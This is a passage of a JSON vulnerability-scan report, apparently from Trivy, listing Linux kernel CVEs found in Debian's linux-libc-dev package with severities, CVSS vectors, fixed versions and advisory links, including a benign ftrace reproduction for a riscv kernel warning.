"https://bugzilla.redhat.com/show_bug.cgi?id=2350725", "https://bugzilla.redhat.com/show_bug.cgi?id=2350726", "https://bugzilla.redhat.com/show_bug.cgi?id=2351606", "https://bugzilla.redhat.com/show_bug.cgi?id=2351608", "https://bugzilla.redhat.com/show_bug.cgi?id=2351612", "https://bugzilla.redhat.com/show_bug.cgi?id=2351613", "https://bugzilla.redhat.com/show_bug.cgi?id=2351616", "https://bugzilla.redhat.com/show_bug.cgi?id=2351618", "https://bugzilla.redhat.com/show_bug.cgi?id=2351620", "https://bugzilla.redhat.com/show_bug.cgi?id=2351624", "https://bugzilla.redhat.com/show_bug.cgi?id=2351625", "https://bugzilla.redhat.com/show_bug.cgi?id=2351629", "https://bugzilla.redhat.com/show_bug.cgi?id=2351633", "https://bugzilla.redhat.com/show_bug.cgi?id=2356647", "https://bugzilla.redhat.com/show_bug.cgi?id=2360215", "https://bugzilla.redhat.com/show_bug.cgi?id=2360223", "https://bugzilla.redhat.com/show_bug.cgi?id=2363380", "https://bugzilla.redhat.com/show_bug.cgi?id=2369184", "https://bugzilla.redhat.com/show_bug.cgi?id=2376076", "https://bugzilla.redhat.com/show_bug.cgi?id=2383441", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48830", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49269", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49353", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49357", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49437", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49443", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49623", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49627", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49643", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49648", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49657", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49672", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36350", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36357", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-46689", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-46744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47727", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-49570", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-49864", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50195", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50294", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-52332", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53090", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53119", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53170", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53229", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53241", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-54456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56645", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56672", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56675", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56690", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56709", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56739", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56786", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57981", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57986", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57987", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57988", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57989", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57995", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57998", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58057", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58062", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58068", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58077", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58088", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21647", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21648", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21672", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21691", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21693", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21696", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21702", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21714", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21726", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21728", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21729", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21738", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21739", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21765", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21786", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21790", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21791", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21795", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21796", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21806", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21828", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21837", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21839", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21848", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21851", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21855", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21863", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21864", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21902", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22097", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38396", "https://errata.almalinux.org/9/ALSA-2025-20518.html", "https://errata.rockylinux.org/RLSA-2025:20518", "https://git.kernel.org/linus/eb8c0534713865d190856f10bfc97cf0b88475b1%20%286.14-rc1%29", "https://git.kernel.org/stable/c/8700c4bf8b7ed98037d2acf1eaf770ad6dd431d4", "https://git.kernel.org/stable/c/eb8c0534713865d190856f10bfc97cf0b88475b1", "https://linux.oracle.com/cve/CVE-2024-58015.html", "https://linux.oracle.com/errata/ELSA-2025-20518-0.html", "https://lore.kernel.org/linux-cve-announce/2025022657-CVE-2024-58015-f72e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-58015", "https://www.cve.org/CVERecord?id=CVE-2024-58015" ], "PublishedDate": "2025-02-27T03:15:12.493Z", "LastModifiedDate": "2026-06-17T08:14:28.097Z" }, { "VulnerabilityID": "CVE-2025-10263", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-10263", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c86faf579e9f0ff875d4441976c1152ff9136770a757d73f3a85ee0fb9aa9e4b", "Title": "kernel: Arm Processors: Privilege escalation or information disclosure via writes to higher exception level resources", "Description": "Arm C1-Ultra, C1-Premium, Neoverse V3 \u0026 V3AE, Neoverse V2, Neoverse V1, Neoverse-N2, Neoverse-N1, Cortex-X925, Cortex-X4, Cortex-X3, Cortex-X2, Cortex-X1 \u0026 X1C, Cortex-A710, Cortex-A78, A78AE \u0026 A78C, Cortex-A77, Cortex-A76 \u0026 A76A may allow writes to resources owned by a higher exception level.", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-266" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "V3Score": 8.4 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/06/09/13", "http://xenbits.xen.org/xsa/advisory-493.html", "https://access.redhat.com/errata/RHSA-2026:34911", "https://access.redhat.com/errata/RHSA-2026:36018", "https://access.redhat.com/errata/RHSA-2026:36348", "https://access.redhat.com/errata/RHSA-2026:36349", "https://access.redhat.com/errata/RHSA-2026:40764", "https://access.redhat.com/errata/RHSA-2026:47248", "https://access.redhat.com/errata/RHSA-2026:49031", "https://access.redhat.com/errata/RHSA-2026:49033", "https://access.redhat.com/errata/RHSA-2026:51603", "https://access.redhat.com/errata/RHSA-2026:51604", "https://access.redhat.com/errata/RHSA-2026:51746", "https://access.redhat.com/errata/RHSA-2026:52649", "https://access.redhat.com/errata/RHSA-2026:54187", "https://access.redhat.com/errata/RHSA-2026:54205", "https://access.redhat.com/errata/RHSA-2026:54544", "https://access.redhat.com/errata/RHSA-2026:54553", "https://access.redhat.com/errata/RHSA-2026:54581", "https://access.redhat.com/errata/RHSA-2026:54599", "https://access.redhat.com/errata/RHSA-2026:55445", "https://access.redhat.com/errata/RHSA-2026:56786", "https://access.redhat.com/errata/RHSA-2026:56853", "https://access.redhat.com/errata/RHSA-2026:56911", "https://access.redhat.com/errata/RHSA-2026:60019", "https://access.redhat.com/security/cve/CVE-2025-10263", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://developer.arm.com/documentation/112137", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://linux.oracle.com/cve/CVE-2025-10263.html", "https://linux.oracle.com/errata/ELSA-2026-50374.html", "https://lore.kernel.org/all/178108852371.786933.719826336963783417.b4-ty@kernel.org/", "https://nvd.nist.gov/vuln/detail/CVE-2025-10263", "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-10263.json", "https://support.arm.com/documentation/112137/latest/", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8801-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2025-10263", "https://www.openwall.com/lists/oss-security/2026/06/09/13", "https://xenbits.xen.org/xsa/advisory-493.html" ], "PublishedDate": "2026-06-09T10:16:33.003Z", "LastModifiedDate": "2026-09-04T13:17:52.707Z" }, { "VulnerabilityID": "CVE-2025-22069", "VendorIDs": [ "DSA-6355-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-22069", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4e9011c0f14de5e8cd69b6387d5f7fa2f5d56cc57ac9c08525766c16af0e49d6", "Title": "kernel: riscv: fgraph: Fix stack layout to match __arch_ftrace_regs argument of ftrace_return_to_handler", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: fgraph: Fix stack layout to match __arch_ftrace_regs argument of ftrace_return_to_handler\n\nNaresh Kamboju reported a \"Bad frame pointer\" kernel warning while\nrunning LTP trace ftrace_stress_test.sh in riscv. We can reproduce the\nsame issue with the following command:\n\n```\n$ cd /sys/kernel/debug/tracing\n$ echo 'f:myprobe do_nanosleep%return args1=$retval' \u003e dynamic_events\n$ echo 1 \u003e events/fprobes/enable\n$ echo 1 \u003e tracing_on\n$ sleep 1\n```\n\nAnd we can get the following kernel warning:\n\n[ 127.692888] ------------[ cut here ]------------\n[ 127.693755] Bad frame pointer: expected ff2000000065be50, received ba34c141e9594000\n[ 127.693755] from func do_nanosleep return to ffffffff800ccb16\n[ 127.698699] WARNING: CPU: 1 PID: 129 at kernel/trace/fgraph.c:755 ftrace_return_to_handler+0x1b2/0x1be\n[ 127.699894] Modules linked in:\n[ 127.700908] CPU: 1 UID: 0 PID: 129 Comm: sleep Not tainted 6.14.0-rc3-g0ab191c74642 #32\n[ 127.701453] Hardware name: riscv-virtio,qemu (DT)\n[ 127.701859] epc : ftrace_return_to_handler+0x1b2/0x1be\n[ 127.702032] ra : ftrace_return_to_handler+0x1b2/0x1be\n[ 127.702151] epc : ffffffff8013b5e0 ra : ffffffff8013b5e0 sp : ff2000000065bd10\n[ 127.702221] gp : ffffffff819c12f8 tp : ff60000080853100 t0 : 6e00000000000000\n[ 127.702284] t1 : 0000000000000020 t2 : 6e7566206d6f7266 s0 : ff2000000065bd80\n[ 127.702346] s1 : ff60000081262000 a0 : 000000000000007b a1 : ffffffff81894f20\n[ 127.702408] a2 : 0000000000000010 a3 : fffffffffffffffe a4 : 0000000000000000\n[ 127.702470] a5 : 0000000000000000 a6 : 0000000000000008 a7 : 0000000000000038\n[ 127.702530] s2 : ba34c141e9594000 s3 : 0000000000000000 s4 : ff2000000065bdd0\n[ 127.702591] s5 : 00007fff8adcf400 s6 : 000055556dc1d8c0 s7 : 0000000000000068\n[ 127.702651] s8 : 00007fff8adf5d10 s9 : 000000000000006d s10: 0000000000000001\n[ 127.702710] s11: 00005555737377c8 t3 : ffffffff819d899e t4 : ffffffff819d899e\n[ 127.702769] t5 : ffffffff819d89a0 t6 : ff2000000065bb18\n[ 127.702826] status: 0000000200000120 badaddr: 0000000000000000 cause: 0000000000000003\n[ 127.703292] [\u003cffffffff8013b5e0\u003e] ftrace_return_to_handler+0x1b2/0x1be\n[ 127.703760] [\u003cffffffff80017bce\u003e] return_to_handler+0x16/0x26\n[ 127.704009] [\u003cffffffff80017bb8\u003e] return_to_handler+0x0/0x26\n[ 127.704057] [\u003cffffffff800d3352\u003e] common_nsleep+0x42/0x54\n[ 127.704117] [\u003cffffffff800d44a2\u003e] __riscv_sys_clock_nanosleep+0xba/0x10a\n[ 127.704176] [\u003cffffffff80901c56\u003e] do_trap_ecall_u+0x188/0x218\n[ 127.704295] [\u003cffffffff8090cc3e\u003e] handle_exception+0x14a/0x156\n[ 127.705436] ---[ end trace 0000000000000000 ]---\n\nThe reason is that the stack layout for constructing argument for the\nftrace_return_to_handler in the return_to_handler does not match the\n__arch_ftrace_regs structure of riscv, leading to unexpected results.", "Severity": "HIGH", "CweIDs": [ "CWE-668" ], "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-22069", "https://git.kernel.org/linus/67a5ba8f742f247bc83e46dd2313c142b1383276%20%286.15-rc1%29", "https://git.kernel.org/stable/c/67a5ba8f742f247bc83e46dd2313c142b1383276", "https://git.kernel.org/stable/c/78b39c587b8f6c69140177108f9c08a75b1c7c37", "https://git.kernel.org/stable/c/7ed384db061a264bd806898f7ccab9b98b591488", "https://lore.kernel.org/linux-cve-announce/2025041609-CVE-2025-22069-64d9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-22069", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://www.cve.org/CVERecord?id=CVE-2025-22069" ], "PublishedDate": "2025-04-16T15:16:01.1Z", "LastModifiedDate": "2026-07-30T06:22:10.323Z" }, { "VulnerabilityID": "CVE-2025-22104", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-22104", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:21a62f0a960932a3c0850ba3f70c4e08f51691aa00949984030b41e8cf59fca5", "Title": "kernel: ibmvnic: Use kernel helpers for hex dumps", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nibmvnic: Use kernel helpers for hex dumps\n\nPreviously, when the driver was printing hex dumps, the buffer was cast\nto an 8 byte long and printed using string formatters. If the buffer\nsize was not a multiple of 8 then a read buffer overflow was possible.\n\nTherefore, create a new ibmvnic function that loops over a buffer and\ncalls hex_dump_to_buffer instead.\n\nThis patch address KASAN reports like the one below:\n ibmvnic 30000003 env3: Login Buffer:\n ibmvnic 30000003 env3: 01000000af000000\n \u003c...\u003e\n ibmvnic 30000003 env3: 2e6d62692e736261\n ibmvnic 30000003 env3: 65050003006d6f63\n ==================================================================\n BUG: KASAN: slab-out-of-bounds in ibmvnic_login+0xacc/0xffc [ibmvnic]\n Read of size 8 at addr c0000001331a9aa8 by task ip/17681\n \u003c...\u003e\n Allocated by task 17681:\n \u003c...\u003e\n ibmvnic_login+0x2f0/0xffc [ibmvnic]\n ibmvnic_open+0x148/0x308 [ibmvnic]\n __dev_open+0x1ac/0x304\n \u003c...\u003e\n The buggy address is located 168 bytes inside of\n allocated 175-byte region [c0000001331a9a00, c0000001331a9aaf)\n \u003c...\u003e\n =================================================================\n ibmvnic 30000003 env3: 000000000033766e", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "nvd": 3, "oracle-oval": 2, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:9302", "https://access.redhat.com/security/cve/CVE-2025-22104", "https://bugzilla.redhat.com/2355415", "https://bugzilla.redhat.com/2356618", "https://bugzilla.redhat.com/2360265", "https://bugzilla.redhat.com/2363268", "https://bugzilla.redhat.com/2363305", "https://bugzilla.redhat.com/show_bug.cgi?id=2355415", "https://bugzilla.redhat.com/show_bug.cgi?id=2356618", "https://bugzilla.redhat.com/show_bug.cgi?id=2360265", "https://bugzilla.redhat.com/show_bug.cgi?id=2363268", "https://bugzilla.redhat.com/show_bug.cgi?id=2363305", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21883", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22104", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-23150", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37738", "https://errata.almalinux.org/9/ALSA-2025-9302.html", "https://errata.rockylinux.org/RLSA-2025:9302", "https://git.kernel.org/linus/d93a6caab5d7d9b5ce034d75b1e1e993338e3852%20%286.15-rc1%29", "https://git.kernel.org/stable/c/005fee039dd845122d313ac8f2122b0d09dc5d7b", "https://git.kernel.org/stable/c/19efa170e01207c8ada726f3f6c65b31fcba2a73", "https://git.kernel.org/stable/c/9bc078818ec76344c2e06b81d7aee2df3adecfbf", "https://git.kernel.org/stable/c/ae6b1d6c1acee3a2000394d83ec9f1028321e207", "https://git.kernel.org/stable/c/d93a6caab5d7d9b5ce034d75b1e1e993338e3852", "https://linux.oracle.com/cve/CVE-2025-22104.html", "https://linux.oracle.com/errata/ELSA-2025-9896.html", "https://lore.kernel.org/linux-cve-announce/2025041622-CVE-2025-22104-0a82@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-22104", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-22104" ], "PublishedDate": "2025-04-16T15:16:04.733Z", "LastModifiedDate": "2026-09-02T13:16:48.767Z" }, { "VulnerabilityID": "CVE-2025-38137", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38137", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:65b5d18959342e4d7500ebf124d796219cc39820ea346f4da8b5d9e4c5a7f6a0", "Title": "kernel: PCI/pwrctrl: Cancel outstanding rescan work when unregistering", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI/pwrctrl: Cancel outstanding rescan work when unregistering\n\nIt's possible to trigger use-after-free here by:\n\n (a) forcing rescan_work_func() to take a long time and\n (b) utilizing a pwrctrl driver that may be unloaded for some reason\n\nCancel outstanding work to ensure it is finished before we allow our data\nstructures to be cleaned up.\n\n[bhelgaas: tidy commit log]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 2, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:13598", 